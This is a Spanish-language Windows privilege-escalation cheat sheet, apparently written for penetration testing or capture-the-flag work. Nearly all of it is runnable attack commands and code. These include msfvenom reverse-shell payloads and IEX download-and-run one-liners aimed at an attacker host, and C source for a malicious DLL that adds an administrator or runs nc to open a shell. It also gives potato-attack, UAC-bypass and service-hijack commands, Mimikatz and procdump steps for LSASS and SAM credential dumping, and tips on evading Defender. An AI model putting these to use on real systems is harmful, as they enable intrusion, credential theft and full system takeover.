Referencia de Windows privesc. La metodología es diferente a Linux — servicios, tokens, y misconfiguraciones son tu pan de cada día. Correr la enumeración, encontrar el vector, ejecutar.
Enumeración Inicial
Info del Sistema
:: Info básica
whoami
whoami /priv
whoami /groups
hostname
systeminfo
:: OS y arquitectura
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
:: Hotfixes — parches faltantes = posibles kernel exploits
wmic qfe list brief
systeminfo | findstr /B /C:"KB"
:: Red
ipconfig /all
route print
netstat -ano
arp -a
# Equivalentes en PowerShell
[System.Environment]::OSVersion
Get-HotFix
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}
Usuarios y Grupos
net user
net user Administrator
net localgroup
net localgroup Administrators
Tip: whoami /priv es el sudo -l de Windows. Revisalo de una.
Antivirus / Firewall
:: Revisar Windows Defender
sc query WinDefend
:: Firewall
netsh advfirewall show allprofiles
netsh firewall show state
:: Revisar si AMSI está activo (PowerShell)
Get-MpComputerStatus
Get-MpPreference | Select-Object -Property ExclusionPath
Enumeración Automatizada
WinPEAS
:: Transferir y correr
certutil -urlcache -f http://%ATTACKER%:8000/winPEASx64.exe winpeas.exe
.\winpeas.exe
:: O correr desde memoria (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://%ATTACKER%:8000/winPEAS.bat')
PowerUp
. .\PowerUp.ps1
Invoke-AllChecks
# O one-liner
IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/PowerUp.ps1'); Invoke-AllChecks
Seatbelt
.\Seatbelt.exe -group=all
SharpUp
.\SharpUp.exe audit
Misconfiguraciones de Servicios
Es la categoría más grande para Windows privesc. Tres sabores principales.
Unquoted Service Paths
Si la ruta del servicio tiene espacios y no está entre comillas, Windows prueba rutas intermedias.
C:\Program Files\My Service\service.exe prueba:
C:\Program.exeC:\Program Files\My.exeC:\Program Files\My Service\service.exe
:: Encontrar unquoted service paths
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
:: PowerShell
Get-WmiObject win32_service | Where-Object {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | Select-Object Name, PathName, StartMode
:: Revisar si podés escribir en un directorio intermedio
icacls "C:\Program Files\My Service"
:: Tirar tu payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f exe -o My.exe
copy My.exe "C:\Program Files\My.exe"
:: Reiniciar el servicio (necesitas permisos o esperar reboot)
sc stop "ServiceName"
sc start "ServiceName"
Permisos Débiles de Servicio
Podés modificar la configuración del servicio → apuntarlo a tu binario.
:: Revisar permisos de servicios con accesschk
accesschk64.exe /accepteula -uwcqv "Everyone" *
accesschk64.exe /accepteula -uwcqv "Users" *
accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
accesschk64.exe /accepteula -uwcqv %USERNAME% *
:: Revisar servicio específico
sc qc "ServiceName"
accesschk64.exe /accepteula -ucqv "ServiceName"
Si tenés SERVICE_CHANGE_CONFIG:
:: Cambiar binpath a tu payload
sc config "ServiceName" binpath= "C:\Users\Public\shell.exe"
sc stop "ServiceName"
sc start "ServiceName"
:: O agregarte como admin
sc config "ServiceName" binpath= "net localgroup Administrators %USERNAME% /add"
sc stop "ServiceName"
sc start "ServiceName"
Permisos Débiles del Binario del Servicio
El binario del servicio en sí es escribible.
:: Revisar permisos del binario del servicio
icacls "C:\path\to\service.exe"
Buscar (F) Full control, (M) Modify, o (W) Write para tu usuario/grupo.
:: Reemplazar el binario
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"
copy C:\Users\Public\shell.exe "C:\path\to\service.exe"
sc stop "ServiceName"
sc start "ServiceName"
Permisos de Registry de Servicio
:: Revisar permisos de registry para servicios
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName | Format-List
:: Si es escribible, cambiar ImagePath
reg add HKLM\SYSTEM\CurrentControlSet\Services\ServiceName /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f
DLL Hijacking
La aplicación carga una DLL de una ubicación escribible, o la DLL directamente no existe.
Encontrar Oportunidades de DLL Hijacking
:: Usar Process Monitor (si tenés acceso a GUI)
:: Filtro: Result = "NAME NOT FOUND" y Path termina con ".dll"
:: O revisar directorios del PATH por acceso de escritura
echo %PATH%
:: Revisar cada directorio con icacls
icacls "C:\path\in\PATH"
Explotación
// malicious.c — genera reverse shell o agrega admin
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
if (ul_reason == DLL_PROCESS_ATTACH) {
system("net localgroup Administrators youruser /add");
// O: system("C:\\Users\\Public\\nc.exe -e cmd.exe ATTACKER 9001");
}
return TRUE;
}
# Cross-compilar en Kali
x86_64-w64-mingw32-gcc malicious.c -shared -o malicious.dll
:: Colocar DLL en la ubicación esperada
copy malicious.dll "C:\path\to\expected\missing.dll"
:: Reiniciar el servicio o esperar
Ojo: Al hijackear una DLL de un servicio, la DLL debe exportar las funciones que el servicio espera, o el servicio crashea al iniciar. Para un simple hijack de DLL faltante esto generalmente no es un problema.
Token Impersonation / Potato Attacks
Si whoami /priv muestra SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege — estás de suerte. Común en IIS, MSSQL, y service accounts.
Qué Potato Usar
| Herramienta | Funciona En | Notas |
|---|---|---|
| GodPotato | Windows 2012 - 2022, Win 8 - 11 | Mejor all-rounder, probar primero |
| PrintSpoofer | Windows 10 / Server 2016-2019 | Necesita Print Spooler corriendo |
| SweetPotato | Varios | Combina múltiples técnicas |
| JuicyPotatoNG | Windows 10 / Server 2019 | JuicyPotato actualizado |
| RoguePotato | Windows 10 / Server 2019 | Necesita puerto 135 controlado |
| JuicyPotato | Windows 7-10 / Server 2008-2016 | Clásico, no funciona en 2019+ |
:: GodPotato (probar este primero)
.\GodPotato.exe -cmd "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\GodPotato.exe -cmd "net localgroup Administrators $USERNAME /add"
:: PrintSpoofer
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe -e cmd.exe $ATTACKER 9001"
.\PrintSpoofer64.exe -i -c cmd
:: SweetPotato
.\SweetPotato.exe -e EfsRpc -p C:\Users\Public\nc.exe -a "-e cmd.exe $ATTACKER 9001"
:: JuicyPotato (sistemas viejos)
.\JuicyPotato.exe -l 1337 -p C:\Users\Public\shell.exe -t * -c {CLSID}
Tip: GodPotato es el go-to actual. Funciona en versiones recientes de Windows y no necesita un CLSID específico.
AlwaysInstallElevated
Si estas dos claves de registry están seteadas en 1, cualquier usuario puede instalar paquetes MSI como SYSTEM.
:: Revisar
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Revisión en PowerShell
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Get-ItemProperty -Path 'HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated
Explotación
# Generar MSI malicioso en el atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$ATTACKER LPORT=9001 -f msi -o shell.msi
:: Instalar en el target
msiexec /quiet /qn /i C:\Users\Public\shell.msi
Búsqueda de Credenciales
Registry
:: Credenciales guardadas
cmdkey /list
:: Si existen creds guardadas para admin
runas /savecred /user:Administrator cmd.exe
:: Credenciales de Autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
:: Passwords VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
:: Sesiones guardadas de PuTTY
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
:: SNMP community strings
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities"
:: Buscar passwords en registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Archivos
:: Archivos comunes de passwords
dir /s /b C:\Users\*.txt 2>nul | findstr /i "pass"
dir /s /b C:\Users\*.xml 2>nul
dir /s /b C:\Users\*.ini 2>nul
dir /s /b C:\Users\*.config 2>nul
:: Archivos Unattend / sysprep (frecuentemente contienen passwords)
dir /s /b C:\unattend.xml C:\sysprep.xml C:\sysprep.inf C:\Unattended.xml 2>nul
type C:\Windows\Panther\Unattend.xml 2>nul
type C:\Windows\Panther\unattend\Unattend.xml 2>nul
type C:\Windows\system32\sysprep\sysprep.xml 2>nul
:: Config de IIS
type C:\inetpub\wwwroot\web.config 2>nul
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul
:: Historial de PowerShell
type %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# Historial de PowerShell para todos los usuarios
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt 2>$null | ForEach-Object { Write-Host "`n=== $($_.FullName) ==="; Get-Content $_ }
Backup de SAM y SYSTEM
:: Si podés acceder estos, dumpear hashes offline
reg save HKLM\SAM C:\Users\Public\sam.bak
reg save HKLM\SYSTEM C:\Users\Public\system.bak
:: O buscar copias de backup
dir /s /b C:\Windows\repair\SAM 2>nul
dir /s /b C:\Windows\System32\config\RegBack\SAM 2>nul
# En el atacante — extraer hashes
secretsdump.py -sam sam.bak -system system.bak LOCAL
DPAPI
:: Listar DPAPI credential blobs
dir /a C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
:: Mimikatz para desencriptar
dpapi::cred /in:C:\Users\user\AppData\...\credential_blob
Scheduled Tasks
:: Listar todas las scheduled tasks
schtasks /query /fo LIST /v
:: Buscar tasks corriendo como SYSTEM con binarios escribibles
schtasks /query /fo LIST /v | findstr /i "task to run\|run as user"
:: Revisar permisos del binario de la task
icacls "C:\path\to\task\binary.exe"
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq 'SYSTEM'} | ForEach-Object { $_.Actions }
Si el binario es escribible o la ruta es hijackeable, reemplazarlo y esperar la ejecución.
Software Instalado
:: 32-bit
reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
:: 64-bit
reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr /i "displayname"
:: O simplemente mirar
dir "C:\Program Files"
dir "C:\Program Files (x86)"
Cruzar versiones con searchsploit y Google. Software desactualizado con vulns de local privilege escalation es común.
searchsploit "software name"
Kernel Exploits
systeminfo
wmic qfe list brief
# En el atacante — usar Windows Exploit Suggester
python3 windows-exploit-suggester.py --database 2026-03-24-mssb.xls --systeminfo sysinfo.txt
# O wesng
python3 wes.py sysinfo.txt
Kernel / System Exploits Notables de Windows
| CVE | Nombre | Afectado |
|---|---|---|
| MS16-032 | Secondary Logon | Windows 7-10, Server 2008-2012 |
| CVE-2020-0787 | BitsArbitraryFileMoveExploit | Windows 10 |
| CVE-2020-1472 | Zerologon | Domain Controllers |
| CVE-2021-1675 | PrintNightmare | Todo Windows con Print Spooler |
| CVE-2021-36934 | HiveNightmare/SeriousSAM | Windows 10 builds 1809-21H1 |
| CVE-2022-21999 | SpoolFool | Windows 10/11, Server 2019/2022 |
:: PrintNightmare (variante local privesc)
:: Revisar si Print Spooler está corriendo
sc query spooler
:: HiveNightmare — revisar si las shadow copies de SAM son legibles
icacls C:\Windows\System32\config\SAM
:: Si "BUILTIN\Users:(I)(RX)" → vulnerable
:: Explotar:
.\HiveNightmare.exe
UAC Bypass
Cuando estás en el grupo Administrators pero corriendo en medium integrity.
:: Revisar nivel de integridad
whoami /groups | findstr "Mandatory"
:: Si Medium Mandatory Level — UAC te está bloqueando
# UAC bypass común — fodhelper
New-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(Default)" -Value "cmd /c C:\Users\Public\shell.exe" -Force
New-ItemProperty "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
# Limpiar
Remove-Item "HKCU:\Software\Classes\ms-settings\shell\open\command" -Recurse -Force
:: eventvwr bypass
reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd /c C:\Users\Public\shell.exe" /f
eventvwr.msc
Abuso de Privilegios Sensibles
De whoami /priv:
| Privilegio | Abuso |
|---|---|
| SeImpersonatePrivilege | Potato attacks (ver arriba) |
| SeAssignPrimaryTokenPrivilege | Potato attacks |
| SeBackupPrivilege | Copiar cualquier archivo (SAM, NTDS.dit) |
| SeRestorePrivilege | Escribir cualquier archivo → DLL hijack |
| SeTakeOwnershipPrivilege | Tomar ownership de archivos/claves de registry |
| SeDebugPrivilege | Inyectar en/dumpear cualquier proceso (LSASS) |
| SeLoadDriverPrivilege | Cargar kernel driver → ejecución de código kernel |
| SeManageVolumePrivilege | Leer cualquier archivo via volume shadow copy |
SeBackupPrivilege
:: Copiar SAM y SYSTEM
reg save HKLM\SAM C:\temp\sam
reg save HKLM\SYSTEM C:\temp\system
:: O usar robocopy con backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp\ secret.txt
SeDebugPrivilege
:: Dumpear LSASS
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
:: O usar Mimikatz
privilege::debug
sekurlsa::logonpasswords
SeManageVolumePrivilege
:: Crear shadow copy
vssadmin create shadow /for=C:
:: Copiar archivos del shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\
Port Forwarding desde Windows
Servicios internos que no podés alcanzar desde tu box atacante.
:: netsh (built-in, no necesitas herramientas)
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8888 connectaddress=127.0.0.1 connectport=8080
:: Chisel
:: Atacante: chisel server --reverse --port 8001
.\chisel.exe client ATTACKER:8001 R:8080:127.0.0.1:8080
:: plink (PuTTY command-line)
plink.exe -ssh -l user -pw password -R 8080:127.0.0.1:8080 ATTACKER
Transferencia de Archivos a Windows
:: certutil
certutil -urlcache -f http://%ATTACKER%:8000/file.exe file.exe
:: PowerShell
powershell -c "(New-Object Net.WebClient).DownloadFile('http://$ATTACKER:8000/file.exe','C:\Users\Public\file.exe')"
powershell -c "Invoke-WebRequest -Uri 'http://$ATTACKER:8000/file.exe' -OutFile 'C:\Users\Public\file.exe'"
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://$ATTACKER:8000/script.ps1')"
:: SMB (más fácil para archivos grandes)
:: Atacante: impacket-smbserver share . -smb2support -username user -password pass
net use \\$ATTACKER\share /user:user pass
copy \\$ATTACKER\share\file.exe C:\Users\Public\
:: Bitsadmin
bitsadmin /transfer job /download /priority high http://$ATTACKER:8000/file.exe C:\Users\Public\file.exe
Ojo: certutil ya es detectado por Defender. PowerShell Invoke-WebRequest (iwr) generalmente está bien. Transferencia SMB es la más confiable para archivos grandes.
Checklist de Victorias Rápidas
whoami /priv— SeImpersonate = potato = SYSTEM- Unquoted service paths con directorios intermedios escribibles
- Permisos débiles de servicio — cambiar binpath
- AlwaysInstallElevated — msi = SYSTEM
- Credenciales guardadas —
cmdkey /list→runas /savecred - Passwords de autologon en registry
- Archivos Unattend.xml / sysprep — passwords en plaintext o base64
- Historial de PowerShell — la gente tipea passwords en PowerShell
- Scheduled tasks con binarios escribibles
- Software instalado con CVEs conocidos de local privesc
- PrintNightmare — si Print Spooler está corriendo
- Backups de SAM/SYSTEM — HiveNightmare en Win10